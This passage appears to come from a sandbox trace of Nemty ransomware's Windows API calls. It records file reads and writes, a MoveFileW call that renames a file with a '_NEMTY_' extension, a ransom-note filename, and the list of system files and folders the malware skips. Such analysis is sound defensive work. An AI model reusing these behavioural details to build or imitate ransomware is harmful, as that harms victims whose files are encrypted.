| out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.482] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.482] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.482] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.491] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.491] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.491] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.501] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.501] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.501] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.510] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.510] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.511] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.520] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.529] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.529] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.530] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.530] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.539] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.558] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.558] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.558] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.564] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.564] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.564] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.570] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.570] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0129.570] CloseHandle (hObject=0xffffffff) returned 0 [0129.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0129.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0129.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0129.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0129.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\triangle.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\triangle.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\triangle.png._nemty_kgobjgd_")) returned 0 [0129.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0129.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0129.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0129.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0129.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0129.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0129.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0129.571] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff5ca150, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xff5ca150, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xff5ca150, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0129.571] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0129.572] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0129.572] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0129.572] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0129.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0129.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0129.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0129.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0129.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0129.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0129.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0129.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0129.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0129.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.572] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0129.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63401b8 [0129.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0129.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.572] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff5ca150, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xff5ca150, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xff5ca150, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0129.572] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0129.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0129.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0129.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0129.573] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870fc289, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x870fc289, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29e5e35f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x172a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="logo.png", cAlternateFileName="")) returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="...") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="$RECYCLE.BIN") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="rsa") returned -1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="NTDETECT.COM") returned -1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="ntldr") returned -1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="MSDOS.SYS") returned -1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="IO.SYS") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="boot.ini") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="AUTOEXEC.BAT") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="desktop.ini") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="CONFIG.SYS") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="RECYCLER") returned -1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="BOOTSECT.BAK") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="programdata") returned -1 [0129.573] lstrcmpiW (lpString1="logo.png", lpString2="appdata") returned 1 [0129.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0129.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef10, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0129.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.573] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.573] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.573] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0129.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.574] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="logo.png", cchWideChar=8, lpMultiByteStr=0x653ef98, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="logo.png", lpUsedDefaultChar=0x0) returned 8 [0129.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0129.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0129.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 